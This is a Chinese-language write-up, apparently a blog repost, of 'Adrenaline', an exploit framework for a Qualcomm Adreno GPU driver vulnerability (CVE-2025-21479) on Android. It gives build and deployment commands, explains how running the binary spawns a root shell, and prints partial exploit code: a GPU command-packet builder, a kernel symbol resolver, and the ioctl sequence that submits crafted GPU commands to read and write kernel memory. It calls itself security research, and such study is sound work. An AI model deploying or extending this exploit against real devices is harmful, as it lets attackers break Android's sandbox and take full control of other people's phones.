Adrenaline GPU 漏洞利用框架:突破 Android 内核内存读写限制

14 阅读6分钟

Adrenaline:基于高通 Adreno GPU 漏洞的内核利用框架

Adrenaline 是一个专注于利用高通 Adreno GPU 驱动漏洞(如 CVE-2025-21479)的高阶安全研究项目。它通过构造特定的 GPU 命令和页表,在 Android 内核空间实现任意内存读写,从而突破 Android 的沙箱限制,最终获取完整的 Root 权限。该项目是深入理解现代移动操作系统内核利用技术的宝贵资源。

功能特性

  • 内核任意内存读写:利用 Adreno GPU 的 MMU 漏洞,实现从用户态对内核物理内存的读写操作。
  • 支持多款三星设备:项目积极适配三星设备,并计划通过不同分支来管理针对特定设备的适配代码。
  • 自动化内核基址查找:集成了通过 GPU 漏洞查找内核加载基址的辅助功能,提高了漏洞利用的自动化程度。
  • 内核符号解析器:包含一个从内核二进制中提取和解析 kallsyms 信息的自定义工具,用于精确定位内核函数。
  • 设备移植指南:提供详细的文档和脚本,指导安全研究人员如何将漏洞利用代码适配到新的 Android 设备上。

安装指南

该利用框架主要以 C 源代码形式提供,需要在 Linux 环境下交叉编译为 Android 可执行文件。

系统要求

  • 主机系统: Linux (推荐 Ubuntu 20.04 或更高版本)
  • 目标设备: 已解锁 Bootloader 的 Android 设备,具备 ADB 调试功能。
  • 工具链: Android NDK 或已配置好的交叉编译环境。

编译步骤

  1. 获取源码

    git clone https://github.com/yourusername/adrenaline.git
    cd adrenaline
    
  2. 准备 Android NDK 下载并设置 Android NDK(例如 r23b 或更高版本),并确保 ndk-build 命令可用。

  3. 编译利用程序

    # 设置 NDK 项目路径,编译所有模块
    ndk-build
    

    编译成功后,会在 libs/$(TARGET_ARCH_ABI)/ 目录下生成可执行文件。

  4. 推送至设备

    adb push libs/arm64-v8a/adrenaline /data/local/tmp/
    adb shell chmod 755 /data/local/tmp/adrenaline
    

使用说明

该利用框架的核心是 adrenaline 二进制文件。它通过精心构造的 GPU 命令与 Adreno GPU 驱动交互,触发漏洞并建立内核内存的读写原语。

基础使用示例

在具有 ADB root 权限的 shell 环境中执行:

# 进入临时目录
cd /data/local/tmp

# 运行漏洞利用程序
./adrenaline

典型使用场景:获取 Root Shell

  1. 运行利用程序: 在 ADB Shell 中执行编译好的 adrenaline 程序。
  2. 漏洞触发与权限提升: 程序运行后,会尝试触发漏洞,利用 GPU 的内存操作能力,修改当前进程的权限(例如,将 uid 修改为 0),从而获得 root 权限。
  3. 进入 Root Shell: 利用成功后,程序通常会派生一个 root 权限的 shell。

API 概览

该框架的核心逻辑封装在几个关键函数中,用于构建 GPU 命令和实现读写操作。

  • int setup_pagetables(): 初始化用于欺骗 GPU MMU 的伪造页表。
  • int DoWrite(): 利用漏洞执行内核内存写操作。参数指定目标物理地址、写入的数据和大小。
  • int DoReadContiguous(): 利用漏洞执行内核内存读操作。参数指定源物理地址和读取的数据长度。
  • uint64_t cheese_kallsyms_lookup(): 自定义的内核符号查找函数,用于从内核镜像中解析出指定符号的地址。

核心代码

1. GPU 命令构建器 (adrenaline.h)

该头文件定义了与 Adreno GPU 交互所需的数据结构和内联函数,用于构建 CP (Command Processor) 数据包,这是漏洞利用的“弹药”。

// adrenaline.h (部分关键代码)
// ... (省略枚举和结构体定义)

// 构建一个类型为 7 的数据包,用于发送 GPU 命令
static inline uint cp_type7_packet(uint opcode, uint cnt) {
    return CP_TYPE7_PKT | ((cnt) << 0) |
           (pm4_calc_odd_parity_bit(cnt) << 15) |
           (((opcode) & 0x7F) << 16) |
           ((pm4_calc_odd_parity_bit(opcode) << 23));
}

// 生成一个等待 GPU 空闲的命令
static inline uint cp_wait_for_idle(uint *cmds) {
    uint *start = cmds;
    *cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0);
    return cmds - start;
}

// 将 GPU 地址(64位)写入命令流
static inline uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr) {
    uint *start = cmds;
    *cmds++ = lower_32_bits(gpuaddr);
    *cmds++ = upper_32_bits(gpuaddr);
    return cmds - start;
}

2. 内核符号解析器 (kallsyms_lookup.c)

从原始内核镜像中解析符号表,即使内核没有导出 /proc/kallsyms,也能找到关键函数的地址。

// kallsyms_lookup.c (部分代码)
struct cheese_kallsyms_lookup {
  const void* kernel_data;      // 内核镜像数据指针
  size_t kernel_length;         // 内核镜像大小
  const int* kallsyms_offsets;  // 符号偏移表
  uint64_t kallsyms_relative_base; // 相对地址基址
  // ... 其他解析所需字段
};

// 根据符号名称查找其在内核中的虚拟地址
uint64_t cheese_kallsyms_lookup(struct cheese_kallsyms_lookup* kallsyms_lookup,
                                const char* name) {
    // ... 复杂的解析逻辑
    // 1. 遍历 kallsyms_names 找到名称索引
    // 2. 根据索引从 kallsyms_offsets 获取偏移
    // 3. 结合 kallsyms_relative_base 计算最终地址
    // 4. 返回符号地址
}

3. 漏洞利用主逻辑片段 (adrenaline.c)

展示了如何组合使用上述模块,通过 ioctl 与 GPU 驱动交互,发送恶意构造的命令。

// adrenaline.c (部分伪代码)
struct cheese_gpu_rw ctx; // 上下文,包含文件描述符、GPU 地址映射等

// 1. 初始化 GPU 上下文 (创建绘制上下文)
ioctl(ctx.fd, IOCTL_KGSL_DRAWCTXT_CREATE, &create_ctx);
ctx.ctx_id = create_ctx.drawctxt_id;

// 2. 分配并映射内存到 GPU 地址空间 (kFakeGpuAddr)
struct kgsl_map_user_mem map;
map.hostptr = (unsigned long)ctx.payload_buf; // 用户空间缓冲区
map.gpuaddr = kFakeGpuAddr;                   // 我们想要欺骗 GPU 使用的地址
map.len = ...;
map.memtype = KGSL_USER_MEM_TYPE_ION;
ioctl(ctx.fd, IOCTL_KGSL_MAP_USER_MEM, &map);
ctx.payload_gpuaddr = map.gpuaddr; // 获取 GPU 侧的实际地址

// 3. 构造恶意的 GPU 命令包,包含伪造的页表地址和读写操作
uint32_t gpu_commands[256];
uint32_t *cmds = gpu_commands;
// ... 填充命令,包括 CP_WAIT_FOR_ME, CP_MEM_WRITE 等
// 利用 _adreno_iommu_add_idle_indirect_cmds 等函数来构建命令链

// 4. 提交命令给 GPU 执行,触发漏洞
struct kgsl_gpu_command gpu_cmd;
gpu_cmd.context_id = ctx.ctx_id;
gpu_cmd.cmdlist = (uint64_t)gpu_commands;
gpu_cmd.numcmds = ...;
ioctl(ctx.fd, IOCTL_KGSL_GPU_COMMAND, &gpu_cmd);

// 5. 漏洞触发后,通过共享内存查看读取到的内核数据
sync_cache_from_gpu(ctx.output_buf, ctx.output_buf + ...);
// ctx.output_buf 中现在包含了从内核物理地址读出的数据

参考资料